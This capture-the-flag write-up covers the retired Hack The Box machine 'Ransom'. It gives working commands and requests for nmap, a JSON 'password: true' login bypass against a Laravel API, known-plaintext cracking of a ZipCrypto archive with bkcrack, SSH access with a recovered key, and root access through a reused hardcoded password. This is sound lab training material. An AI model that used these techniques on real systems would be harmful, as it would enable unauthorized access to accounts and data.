This is the write-up for the box Ransom that got retired at the 15th March 2022. My IP address was 10.10.14.7 while I did this.
Let's put this in our hosts file:
10.10.11.153 ransom.htb
Starting with a Nmap scan:
nmap -sC -sV -o nmap/ransom.nmap 10.10.11.153
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 ea8421a3224a7df9b525517983a4f5f2 (RSA)
| 256 b8399ef488beaa01732d10fb447f8461 (ECDSA)
|_ 256 2221e9f485908745161f733641ee3b32 (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
| http-title: Admin - HTML5 Admin Template
|_Requested resource was http://10.10.11.153/login
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
The web service hosts a custom developed website with the title "E Corp Incident Response Secure File Transfer" and has a login form to send files to the E Corp Engineers.
When sending the login request to a proxy like Burpsuite, it is possible to analyze it further.
GET /api/login?password=Test1 HTTP/1.1
(...)
Cookie: XSRF-TOKEN=eyJpdiI6IllvcXVkaUJBaGZSRWVSc(...); laravel_session=eyJpdiI6InNlazlNNzg2c3NTVjd0UlpM(...)
The cookie laravel_session indicates that the web server uses the Laravel framework, which uses PHP in the background.
When sending no value in the password parameter, it responds with JSON data:
{
"message":"The given data was invalid.",
"errors":{
"password":["The password field is required."
]
}
}
By changing the Content-Type to application/json and sending the password in that format, it can be confirmed that JSON data is accepted:
GET /api/login HTTP/1.1
Content-Type: application/json
(...)
{
"password":"password"
}
This way of sending data can be exploited by setting the variable to true:
{
"password":true
}
Login Successful
After sending the request, the login is successful and the file transfer service contains a ZIP file with the description "Encrypted Home Directory", that can be downloaded to analyze it.
When trying to decompress the ZIP file, it asks for a password.
The tool 7z
shows the included files and which encryption algorithm was used:
7z l -slt uploaded-file-3422.zip
Method = ZipCrypto Deflate
The ZipCrypto method has a vulnerability and the password can be found out with a Known-Plaintext Attack. For this attack, we need to know the contents of one of the files in the archive.
As it is a home directory, there are default files in there like bash_logout, which is rarely modified, so it can be compared to ours and when the size is the same, it is likely that the contents are identical.
Creating a ZIP archive with our bash_logout file:
zip bash_logout.zip bash_logout
If the CRC is identical to the other one, then the contents are the same and the attack can be done:
7z l -slt bash_logout.zip
CRC = 6CE3189B
Using bkcrack to get the plaintext password:
./bkcrack -C uploaded-file-3422.zip -c .bash_logout -P bash_logout.zip -p bash_logout
After a while it will create keys, which can be used to change the password of the ZIP file:
7b549874 ebc25ec5 7e465e18
Creating a new archive with our password:
./bkcrack -C uploaded-file-3422.zip -k 7b549874 ebc25ec5 7e465e18 -U unlocked.zip NewPass123
Decompressing the new archive unlocked.zip:
unzip unlocked.zip
In the folder .ssh is a private SSH key for the user htb@ransom that can be used to login:
ssh -i .ssh/id_rsa htb@10.10.11.153
The configuration file /etc/apache2/sites-enabled/000-default.conf shows that the files of the web service are in /srv/prod. In there the file routes/api.php has the class name of the login form:
Route::get('/login', [AuthController::class, 'customLogin'])->name('apilogin');
In the file app/Http/Controllers/AuthController.php is a static password:
($request->get('password') == "UHC-March-Global-PW!")
When testing the password with the command su -
it is possible to switch users to root!